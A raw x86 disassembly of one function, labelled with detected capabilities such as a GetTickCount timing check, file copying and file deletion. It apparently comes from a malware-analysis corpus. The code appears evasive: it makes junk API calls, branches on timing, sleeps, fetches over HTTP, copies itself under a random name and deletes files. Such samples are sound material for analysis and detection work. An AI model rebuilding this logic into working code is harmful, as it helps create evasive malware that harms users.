Function at 0x428480
Capabilities:
Check for time delay via gettickcount
Copy file
Delete file

Disassembly:
push 0xffffffffffffffff
push 0x451306
mov eax, dword fs:[0]
push eax
sub esp, 0x264
mov eax, dword [0x4612b0]
xor eax, esp
mov dword [esp + 0x260], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4612b0]
xor eax, esp
push eax
lea eax, [esp + 0x278]
mov dword fs:[0], eax
mov eax, dword [esp + 0x288]
mov dword [esp + 0x24], eax
mov dword [esp + 0x280], 0
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
mov esi, eax
push 0
shr esi, 0x18
call fcn.0043af41
imul eax, eax, 0x63
add esp, 4
cmp esi, eax
jbe 0x428504
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call fcn.00431240
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, 2
mov ebp, dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
je 0x42851f
sub eax, 2
je 0x42851f
sub eax, 4
jne 0x42852e
push 0
push 0
push 0
push 0
call ebp
call fcn.0041a480
mov ecx, dword [esp + 0x2a4]
mov edi, dword [esp + 0x290]
cmp ecx, 0x10
jb 0x42860e
mov esi, edi
test edi, edi
je 0x428578
mov eax, edi
cmp ecx, 0x10
jae 0x428559
lea eax, [esp + 0x290]
cmp eax, esi
ja 0x428578
mov eax, edi
cmp ecx, 0x10
jae 0x42856b
lea eax, [esp + 0x290]
mov edx, dword [esp + 0x2a0]
add eax, edx
cmp esi, eax
jbe 0x428592
call fcn.00439b40
mov ecx, dword [esp + 0x2a4]
mov edx, dword [esp + 0x2a0]
mov edi, dword [esp + 0x290]
lea eax, [esp + 0x28c]
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], esi
mov eax, edi
cmp ecx, 0x10
jae 0x4285af
lea eax, [esp + 0x290]
lea esi, [edx + eax]
mov dword [esp + 0x5c], esi
test esi, esi
je 0x4285e0
mov eax, edi
cmp ecx, 0x10
jae 0x4285c8
lea eax, [esp + 0x290]
cmp eax, esi
ja 0x4285e0
mov eax, edi
cmp ecx, 0x10
jae 0x4285da
lea eax, [esp + 0x290]
add edx, eax
cmp esi, edx
jbe 0x4285e5
call fcn.00439b40
call ebx
mov esi, eax
push 0
shr esi, 0x18
call fcn.0043af41
imul eax, eax, 0x63
add esp, 4
cmp esi, eax
jbe 0x42861a
push 0
push 0
push 0
push 0
call ebp
mov ecx, 1
jmp 0x42861c
lea esi, [esp + 0x290]
jmp 0x42854b
xor ecx, ecx
mov eax, 0xa0a0a0a1
imul ecx
add edx, ecx
sar edx, 6
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
cmp ecx, 0x66
jle 0x428646
push 0x66
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.0041a520
call fcn.0041a5c0
mov dword [esp + 0x20], 0
mov edi, edi
lea esi, [esp + 0x7c]
call fcn.0040f8f0
mov byte [esp + 0x280], 1
call fcn.00436780
test eax, eax
je 0x42866f
call fcn.0041a8a0
mov ebp, dword [esp + 0x5c]
mov edx, dword [esp + 0x4c]
push ebp
lea eax, [esp + 0x290]
push eax
mov eax, dword [esp + 0x50]
push edx
push eax
push 0
push 0x100
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x5c], esp
push 0x2f
mov ecx, str._http:_
lea edi, [esp + 0x64]
call fcn.00404130
lea esi, [esp + 0x180]
call fcn.004014e0
mov edx, edi
mov ecx, eax
mov byte [esp + 0x298], 2
call fcn.00401a80
mov ebx, 0x10
mov byte [esp + 0x298], 3
cmp dword [eax + 0x18], ebx
jb 0x4286da
mov eax, dword [eax + 4]
jmp 0x4286dd
add eax, 4
push eax
lea ecx, [esp + 0xfc]
push ecx
call fcn.0040f9b0
push eax
lea edx, [esp + 0x94]
push edx
mov byte [esp + 0x29c], 4
call fcn.0042e970
movzx edi, al
add esp, 0x1c
lea eax, [esp + 0xe0]
push eax
mov byte [esp + 0x284], 3
call fcn.0040faa0
lea ecx, [esp + 0x2c]
call fcn.004029a0
lea esi, [esp + 0x14c]
mov byte [esp + 0x280], 1
call fcn.004037a0
test edi, edi
je 0x428b64
call fcn.004179d0
test eax, eax
je 0x42874f
call fcn.0041a670
call fcn.00436730
test eax, eax
je 0x42876a
call dword [sym.imp.USER32.dll_GetActiveWindow]
call dword [sym.imp.USER32.dll_GetCapture]
call dword [sym.imp.USER32.dll_GetClipboardOwner]
mov ecx, dword [esp + 0x94]
sub ecx, dword [esp + 0x90]
mov eax, 0x66666667
imul ecx
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
lea esi, [esp + 0x7c]
cmp ecx, 4
jne 0x428b0e
lea edi, [ecx - 3]
call fcn.0040f940
lea ecx, [esp + 0x60]
call fcn.0040f990
lea edx, [esp + 0x60]
push edx
lea ecx, [esp + 0x208]
mov byte [esp + 0x284], 5
call fcn.00402970
lea ecx, [esp + 0x60]
mov byte [esp + 0x280], 7
call fcn.004029a0
push 0
call fcn.0043af41
add esp, 4
mov edi, 2
call fcn.0040f940
lea ecx, [esp + 0x2c]
call fcn.0040f990
lea eax, [esp + 0x2c]
push eax
lea ecx, [esp + 0x224]
mov byte [esp + 0x284], 8
call fcn.00402970
lea ecx, [esp + 0x2c]
mov byte [esp + 0x280], 0xa
call fcn.004029a0
mov edi, 3
call fcn.0040f940
lea ecx, [esp + 0x60]
call fcn.0040f990
lea ecx, [esp + 0x60]
push ecx
lea ecx, [esp + 0x240]
mov byte [esp + 0x284], 0xb
call fcn.00402970
lea ecx, [esp + 0x60]
mov byte [esp + 0x280], 0xd
call fcn.004029a0
lea eax, [esp + 0x1b]
mov byte [esp + 0x1b], 0
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x428861
sub eax, ecx
mov eax, 0
setne al
sub eax, 1
jne 0x428881
call fcn.0041a8f0
call fcn.0041a740
lea esi, [esp + 0xec]
call fcn.0040f8f0
push 0
push 0x100
lea edx, [esp + 0x34]
push edx
sub esp, 0x1c
mov byte [esp + 0x2a8], 0xe
mov esi, esp
mov dword [esp + 0x50], esp
push 0x1f
mov ecx, str.http:_
call fcn.00404130
lea esi, [esp + 0x174]
call fcn.004014e0
mov byte [esp + 0x28c], 0xf
call fcn.00401900
mov byte [esp + 0x288], 0x10
cmp dword [eax + 0x18], ebx
jb 0x4288e1
mov eax, dword [eax + 4]
jmp 0x4288e4
add eax, 4
push eax
lea eax, [esp + 0x60]
push eax
call fcn.0040f9b0
push eax
lea ecx, [esp + 0xf4]
push ecx
lea edi, [esp + 0x210]
mov byte [esp + 0x28c], 0x11
call fcn.00410870
add esp, 0xc
lea edx, [esp + 0x54]
push edx
movzx edi, al
mov byte [esp + 0x284], 0x10
call fcn.0040faa0
lea ecx, [esp + 0x2c]
call fcn.004029a0
lea esi, [esp + 0x14c]
mov byte [esp + 0x280], 0xe
call fcn.004037a0
test edi, edi
je 0x428ada
mov ecx, dword [esp + 0x104]
sub ecx, dword [esp + 0x100]
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 2
jne 0x428ada
call fcn.00430df0
mov ecx, eax
mov eax, 0x2c0b02c1
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
cmp ecx, 0x5d
jle 0x4289a0
push 0x5d
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00401350
call fcn.0041a7f0
mov edi, 1
lea esi, [esp + 0xec]
call fcn.0040f940
lea ecx, [esp + 0x2c]
call fcn.0040f990
lea edx, [esp + 0x2c]
push edx
lea ecx, [esp + 0x25c]
mov byte [esp + 0x284], 0x12
call fcn.00402970
lea ecx, [esp + 0x2c]
mov byte [esp + 0x280], 0x14
call fcn.004029a0
sub esp, 0x1c
lea eax, [esp + 0x258]
mov ecx, esp
mov dword [esp + 0x44], esp
push eax
call fcn.00402970
sub esp, 0x1c
mov byte [esp + 0x2b8], 0x15
lea edx, [esp + 0x258]
mov ecx, esp
mov dword [esp + 0x120], esp
push edx
call fcn.00402970
sub esp, 0x1c
mov byte [esp + 0x2d4], 0x16
lea eax, [esp + 0x2ac]
mov ecx, esp
mov dword [esp + 0xa4], esp
push eax
call fcn.00402970
sub esp, 0x1c
mov byte [esp + 0x2f0], 0x17
lea edx, [esp + 0x274]
mov ecx, esp
mov dword [esp + 0x8c], esp
push edx
call fcn.00402970
mov eax, dword [esp + 0x94]
push eax
mov byte [esp + 0x2f4], 0x14
call fcn.00429610
lea eax, [esp + 0x7c]
call fcn.0042bd10
mov edi, eax
lea eax, [esp + 0x7c]
call fcn.0042bc90
add edi, eax
lea esi, [esp + 0x48]
call fcn.00403680
call fcn.00417880
push 0
mov dword [esp + 0x284], 0x14
call fcn.0043af41
mov eax, dword [esp + 0x4c]
add esp, 4
cmp eax, 0xfffffffc
je 0x428ac8
test eax, eax
je 0x428ac3
lea ecx, [esp + 0x28c]
cmp eax, ecx
je 0x428ac8
call fcn.00439b40
lea ecx, [esp + 0x258]
call fcn.004029a0
cmp dword [esp + 0x4c], ebp
jae 0x428b34
lea esi, [esp + 0xec]
call fcn.0040f720
lea ecx, [esp + 0x23c]
call fcn.004029a0
lea ecx, [esp + 0x220]
call fcn.004029a0
lea ecx, [esp + 0x204]
call fcn.004029a0
lea esi, [esp + 0x7c]
mov byte [esp + 0x280], 0
call fcn.0040f720
mov eax, dword [esp + 0x20]
inc eax
mov dword [esp + 0x20], eax
cmp eax, 0x1e
jb 0x428650
mov ebx, 0x10
jmp 0x428b75
lea esi, [esp + 0xec]
call fcn.0040f720
lea ecx, [esp + 0x23c]
call fcn.004029a0
lea ecx, [esp + 0x220]
call fcn.004029a0
lea ecx, [esp + 0x204]
call fcn.004029a0
lea esi, [esp + 0x7c]
mov byte [esp + 0x280], 0
call fcn.0040f720
lea esi, [esp + 0x1a4]
call fcn.0040f8f0
lea eax, [esp + 0x1b]
mov byte [esp + 0x280], 0x1a
mov byte [esp + 0x1b], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x428b95
sub eax, edx
mov ecx, 0
setne cl
mov eax, 0x288df0cb
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 0x65
jle 0x428bce
push 0x65
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00406ed0
call fcn.0041a8f0
push 0
push 0x100
lea ecx, [esp + 0x20c]
push ecx
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x44], esp
push 0x23
mov ecx, 0x4578d0
call fcn.00404130
lea esi, [esp + 0xa4]
call fcn.004014e0
mov ecx, eax
mov byte [esp + 0x28c], 0x1b
call fcn.00401760
mov byte [esp + 0x288], 0x1c
cmp dword [eax + 0x18], ebx
jb 0x428c1f
mov ebx, dword [eax + 4]
jmp 0x428c22
lea ebx, [eax + 4]
mov edx, dword [esp + 0x2c]
add edx, 0x1d8
push edx
lea eax, [esp + 0x264]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x48], esp
push 3
mov ecx, 0x4578f4
call fcn.00404130
lea esi, [esp + 0x178]
call fcn.004014e0
mov byte [esp + 0x290], 0x1d
call fcn.004015b0
mov ebp, 0x10
mov byte [esp + 0x28c], 0x1e
cmp dword [eax + 0x18], ebp
jb 0x428c7a
mov eax, dword [eax + 4]
jmp 0x428c7d
add eax, 4
mov ecx, eax
lea edi, [esp + 0x6c]
call fcn.0042e8c0
add esp, 4
push eax
mov edi, ebx
lea esi, [esp + 0x38]
mov byte [esp + 0x28c], 0x1f
call fcn.004054c0
add esp, 4
mov bl, 0x20
mov byte [esp + 0x288], bl
cmp dword [eax + 0x18], ebp
jb 0x428cb5
mov eax, dword [eax + 4]
jmp 0x428cb8
add eax, 4
push eax
lea ecx, [esp + 0x60]
push ecx
call fcn.0040f9b0
push eax
lea edx, [esp + 0x1ac]
push edx
lea edi, [esp + 0x298]
mov byte [esp + 0x28c], 0x21
call fcn.00410870
movzx edi, al
add esp, 0xc
lea eax, [esp + 0x54]
push eax
mov byte [esp + 0x284], bl
call fcn.0040faa0
lea ecx, [esp + 0x2c]
call fcn.004029a0
lea ecx, [esp + 0x60]
call fcn.004029a0
lea ecx, [esp + 0x258]
call fcn.004029a0
lea esi, [esp + 0x14c]
call fcn.004037a0
lea ecx, [esp + 0x204]
call fcn.004029a0
lea esi, [esp + 0x7c]
mov byte [esp + 0x280], 0x1a
call fcn.004037a0
test edi, edi
je 0x4295bd
mov ecx, dword [esp + 0x1bc]
sub ecx, dword [esp + 0x1b8]
mov eax, 0x66666667
imul ecx
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
cmp ecx, 2
jne 0x4295bd
lea edi, [ecx - 1]
lea esi, [esp + 0x1a4]
call fcn.0040f940
lea ecx, [esp + 0x2c]
call fcn.0040f990
lea edx, [esp + 0x2c]
push edx
lea ecx, [esp + 0x25c]
mov byte [esp + 0x284], 0x22
call fcn.00402970
lea ecx, [esp + 0x2c]
mov byte [esp + 0x280], 0x24
call fcn.004029a0
lea eax, [esp + 0x220]
push eax
call fcn.0042b5e0
mov byte [esp + 0x280], 0x25
call fcn.00430df0
mov ecx, eax
mov eax, 0xa0a0a0a1
imul ecx
add edx, ecx
sar edx, 6
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
cmp ecx, 0x66
jle 0x428df6
push 0x66
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.0041a8a0
call fcn.00401350
mov ebp, dword [esp + 0x24]
mov ecx, dword [ebp + 0x2e8]
sub ecx, dword [ebp + 0x2e4]
add ebp, 0x2d8
mov eax, 0xea0ea0eb
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
xor esi, esi
shr eax, 0x1f
add eax, edx
mov dword [esp + 0x20], esi
je 0x428e62
jmp 0x428e30
lea ebx, [esp + 0x20]
lea edi, [esp + 0x220]
call fcn.0042be00
mov ecx, dword [ebp + 0x10]
sub ecx, dword [ebp + 0xc]
mov eax, 0xea0ea0eb
imul ecx
add edx, ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
inc esi
add ecx, edx
mov dword [esp + 0x20], esi
cmp esi, ecx
jb 0x428e30
mov eax, dword [esp + 0x230]
mov ecx, dword [esp + 0x22c]
mov esi, eax
sub esi, ecx
sar esi, 2
xor edi, edi
test esi, esi
jbe 0x428ecd
lea ecx, [ecx]
call fcn.00439c27
xor edx, edx
div esi
lea eax, [esp + 0x220]
mov ebx, edx
call fcn.0042bd80
mov esi, eax
mov ebx, edi
lea eax, [esp + 0x220]
call fcn.0042bd80
cmp eax, esi
je 0x428eb3
mov edx, dword [esi]
mov ecx, dword [eax]
mov dword [eax], edx
mov dword [esi], ecx
mov eax, dword [esp + 0x230]
mov ecx, dword [esp + 0x22c]
mov esi, eax
sub esi, ecx
inc edi
sar esi, 2
cmp edi, esi
jb 0x428e80
sub eax, ecx
sar eax, 2
mov dword [esp + 0x20], 0
test eax, eax
jbe 0x4295a5
mov ebx, dword [esp + 0x20]
jmp 0x428ef0
lea eax, [esp + 0x220]
call fcn.0042bd80
mov eax, dword [eax]
push eax
mov eax, ebp
call fcn.0042b7b0
cmp dword [eax + 0x7c], 0
je 0x428f27
mov ecx, dword [esp + 0x230]
sub ecx, dword [esp + 0x22c]
inc ebx
sar ecx, 2
cmp ebx, ecx
jb 0x428ef0
jmp 0x4295a5
mov edx, dword [esp + 0x24]
add edx, 0x19c
push edx
lea ecx, [esp + 0x208]
mov dword [esp + 0x24], ebx
call fcn.00402970
mov ebx, 0x26
mov byte [esp + 0x280], bl
mov eax, dword [esp + 0x218]
test eax, eax
je 0x428f7e
lea edi, [eax - 1]
lea eax, [esp + 0x204]
call fcn.00404d40
cmp byte [eax], 0x5c
je 0x428f7e
push 0x5c
lea eax, [ebx - 0x25]
lea edi, [esp + 0x208]
call fcn.00412960
mov dword [esp + 0x280], ebx
mov esi, 8
lea ebx, [ebx]
call fcn.00439c27
and eax, 0x80000001
jns 0x428fa1
dec eax
or eax, 0xfffffffe
inc eax
jne 0x428fb8
call fcn.00439c27
cdq
mov ecx, 0x19
idiv ecx
movsx eax, dl
add eax, 0x61
jmp 0x428fcb
call fcn.00439c27
cdq
mov ecx, 0x19
idiv ecx
movsx eax, dl
add eax, 0x41
push eax
mov eax, 1
lea edi, [esp + 0x208]
call fcn.00412960
sub esi, 1
jne 0x428f90
lea edx, [esp + 0x2c]
push edx
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x3c], esp
push 4
mov ecx, 0x4578f8
call fcn.00404130
lea esi, [esp + 0x9c]
call fcn.004014e0
mov byte [esp + 0x284], 0x29
call fcn.004016a0
mov edi, 0x10
mov byte [esp + 0x280], 0x2a
cmp dword [eax + 0x18], edi
jb 0x42902c
mov eax, dword [eax + 4]
jmp 0x42902f
add eax, 4
lea ecx, [esp + 0x204]
push ecx
mov edx, eax
call fcn.00405730
lea ecx, [esp + 0x2c]
call fcn.004029a0
lea esi, [esp + 0x7c]
mov byte [esp + 0x280], bl
call fcn.004037a0
lea edx, [esp + 0x23c]
push edx
call fcn.0042b5e0
lea eax, [esp + 0x60]
push eax
sub esp, 0x1c
mov byte [esp + 0x2a0], 0x2b
mov esi, esp
mov dword [esp + 0x3c], esp
push 0xb
mov ecx, 0x457900
call fcn.00404130
lea esi, [esp + 0x9c]
call fcn.004014e0
mov byte [esp + 0x284], 0x2c
call fcn.004015b0
mov byte [esp + 0x280], 0x2d
cmp dword [eax + 0x18], edi
jb 0x4290b1
mov eax, dword [eax + 4]
jmp 0x4290b4
add eax, 4
push eax
lea ecx, [esp + 0x30]
call fcn.00402930
lea ecx, [esp + 0x2c]
push ecx
lea ebx, [esp + 0x240]
mov byte [esp + 0x284], 0x2e
call fcn.0042b540
lea ecx, [esp + 0x2c]
call fcn.004029a0
lea ecx, [esp + 0x60]
call fcn.004029a0
lea esi, [esp + 0x7c]
mov byte [esp + 0x280], 0x2b
call fcn.004037a0
lea edx, [esp + 0x60]
push edx
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x3c], esp
push 5
mov ecx, 0x45790c
call fcn.00404130
lea esi, [esp + 0x9c]
call fcn.004014e0
mov byte [esp + 0x284], 0x2f
call fcn.004016a0
mov byte [esp + 0x280], 0x30
cmp dword [eax + 0x18], 0x10
jb 0x429140
mov eax, dword [eax + 4]
jmp 0x429143
add eax, 4
push eax
lea ecx, [esp + 0x30]
call fcn.00402930
lea eax, [esp + 0x2c]
push eax
lea ebx, [esp + 0x240]
mov byte [esp + 0x284], 0x31
call fcn.0042b540
lea ecx, [esp + 0x2c]
call fcn.004029a0
lea ecx, [esp + 0x60]
call fcn.004029a0
mov bl, 0x2b
lea esi, [esp + 0x7c]
mov byte [esp + 0x280], bl
call fcn.004037a0
call fcn.00417900
test eax, eax
je 0x42919d
call fcn.0041ab40
call fcn.00419d50
sub esp, 0x18
mov ecx, esp
mov dword [esp + 0x34], esp
push ecx
lea ecx, [esp + 0x258]
call fcn.0042b3d0
sub esp, 0x1c
mov byte [esp + 0x2b4], 0x32
lea edx, [esp + 0x28c]
mov ecx, esp
mov dword [esp + 0x84], esp
push edx
call fcn.00402970
mov edi, dword [esp + 0x58]
add edi, 0x18
mov ecx, edi
mov byte [esp + 0x2b4], bl
call fcn.00435bb0
mov esi, eax
call fcn.00436780
sub eax, 1
jne 0x4291ff
call fcn.00419d50
call fcn.0041a8f0
test esi, esi
jge 0x429280
mov eax, dword [esp + 0x25c]
mov edi, 0x10
cmp dword [esp + 0x270], edi
jae 0x42921f
lea eax, [esp + 0x25c]
push eax
lea eax, [esp + 0x30]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x40], esp
push 0x33
mov ecx, str._DRTSN_tIxI
call fcn.00404130
lea esi, [esp + 0xa0]
call fcn.004014e0
mov byte [esp + 0x288], 0x33
call fcn.00401900
mov byte [esp + 0x284], 0x34
cmp dword [eax + 0x18], edi
jb 0x429270
mov eax, dword [eax + 4]
mov ecx, dword [esp + 0x28]
push eax
push 1
push ecx
jmp 0x429573
mov ecx, dword [esp + 0x28]
add eax, 4
push eax
push 1
push ecx
jmp 0x429573
sub esp, 0x1c
lea edx, [esp + 0x220]
mov ecx, esp
mov dword [esp + 0x38], esp
push edx
call fcn.00402970
call fcn.00433560
mov esi, eax
lea eax, [esp + 0x1b]
mov byte [esp + 0x1b], 0
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4292b0
sub eax, edx
je 0x4292c0
call fcn.0041a8f0
test esi, esi
jge 0x429335
mov eax, dword [esp + 0x208]
mov edi, 0x10
cmp dword [esp + 0x21c], edi
jae 0x4292e0
lea eax, [esp + 0x208]
push eax
lea eax, [esp + 0x30]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x40], esp
push 0x33
mov ecx, 0x457948
call fcn.00404130
lea esi, [esp + 0xa0]
call fcn.004014e0
mov byte [esp + 0x288], 0x35
call fcn.004016a0
mov byte [esp + 0x284], 0x36
cmp dword [eax + 0x18], edi
jb 0x429270
mov eax, dword [eax + 4]
mov ecx, dword [esp + 0x28]
push eax
push 1
push ecx
jmp 0x429573
sub esp, 0x1c
lea edx, [esp + 0x220]
mov ecx, esp
mov dword [esp + 0x38], esp
push edx
call fcn.00402970
mov byte [esp + 0x29c], 0x37
mov edi, dword [esp + 0x3c]
mov ebx, edi
lea eax, [esp + 0x23c]
call fcn.0042bd80
mov eax, dword [eax]
push eax
mov eax, ebp
call fcn.0042b7b0
sub esp, 0x1c
add eax, 0x3c
mov ecx, esp
mov dword [esp + 0x88], esp
push eax
call fcn.00402970
mov esi, dword [esp + 0x5c]
mov bl, 0x2b
mov ecx, esi
mov byte [esp + 0x2b8], bl
call fcn.0040ddb0
sub esp, 0x1c
lea edx, [esp + 0x220]
mov ecx, esp
mov dword [esp + 0x38], esp
push edx
call fcn.00402970
push esi
call fcn.0041cba0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, 2
je 0x4293cf
sub eax, 2
je 0x4293cf
sub eax, 4
je 0x4293cf
xor eax, eax
jmp 0x4293dc
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, 1
sub eax, 1
jne 0x4293eb
call fcn.00401350
call fcn.0041a8a0
test esi, esi
jge 0x42949d
mov eax, dword [esp + 0x208]
mov edi, 0x10
cmp dword [esp + 0x21c], edi
jae 0x42940f
lea eax, [esp + 0x208]
push eax
lea eax, [esp + 0x30]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x40], esp
push 0x2d
mov ecx, 0x45797c
call fcn.00404130
lea esi, [esp + 0xa0]
call fcn.004014e0
mov byte [esp + 0x288], 0x38
call fcn.004015b0
mov byte [esp + 0x284], 0x39
cmp dword [eax + 0x18], edi
jb 0x429455
mov eax, dword [eax + 4]
jmp 0x429458
add eax, 4
mov ecx, dword [esp + 0x28]
push eax
push 1
push ecx
call fcn.0041da70
add esp, 0x10
lea ecx, [esp + 0x2c]
call fcn.004029a0
lea esi, [esp + 0x7c]
mov byte [esp + 0x280], bl
call fcn.004037a0
call fcn.004179d0
test eax, eax
je 0x42958d
call fcn.00406ed0
call fcn.0041ab40
jmp 0x42958d
mov ebx, edi
lea eax, [esp + 0x220]
call fcn.0042bd80
mov edx, dword [eax]
push edx
mov eax, ebp
call fcn.0042b7b0
add eax, 0x58
mov ecx, 0x10
cmp dword [eax + 0x18], ecx
jb 0x4294c7
mov eax, dword [eax + 4]
jmp 0x4294ca
add eax, 4
cmp dword [esp + 0x21c], ecx
mov ecx, dword [esp + 0x208]
jae 0x4294e1
lea ecx, [esp + 0x208]
push 0
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x42958d
mov ebx, dword [esp + 0x20]
lea eax, [esp + 0x220]
call fcn.0042bd80
mov eax, dword [eax]
push eax
mov eax, ebp
call fcn.0042b7b0
add eax, 0x58
mov edi, 0x10
cmp dword [eax + 0x18], edi
jb 0x42951f
mov eax, dword [eax + 4]
jmp 0x429522
add eax, 4
push eax
lea ecx, [esp + 0x30]
push ecx
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x40], esp
push 0x2a
mov ecx, 0x4579ac
call fcn.00404130
lea esi, [esp + 0xa0]
call fcn.004014e0
mov byte [esp + 0x288], 0x3a
call fcn.004015b0
mov byte [esp + 0x284], 0x3b
cmp dword [eax + 0x18], edi
jb 0x429568
mov eax, dword [eax + 4]
jmp 0x42956b
add eax, 4
mov edx, dword [esp + 0x28]
push eax
push 1
push edx
call fcn.0041da70
add esp, 0x10
lea ecx, [esp + 0x2c]
call fcn.004029a0
lea esi, [esp + 0x7c]
call fcn.004037a0
lea esi, [esp + 0x23c]
call fcn.0042b4f0
lea ecx, [esp + 0x204]
call fcn.004029a0
lea esi, [esp + 0x220]
call fcn.00415460
lea ecx, [esp + 0x258]
call fcn.004029a0
lea esi, [esp + 0x1a4]
call fcn.0040f720
lea ecx, [esp + 0x28c]
call fcn.004029a0
xor eax, eax
mov ecx, dword [esp + 0x278]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x260]
xor ecx, esp
call fcn.00439641
add esp, 0x270
ret 0x20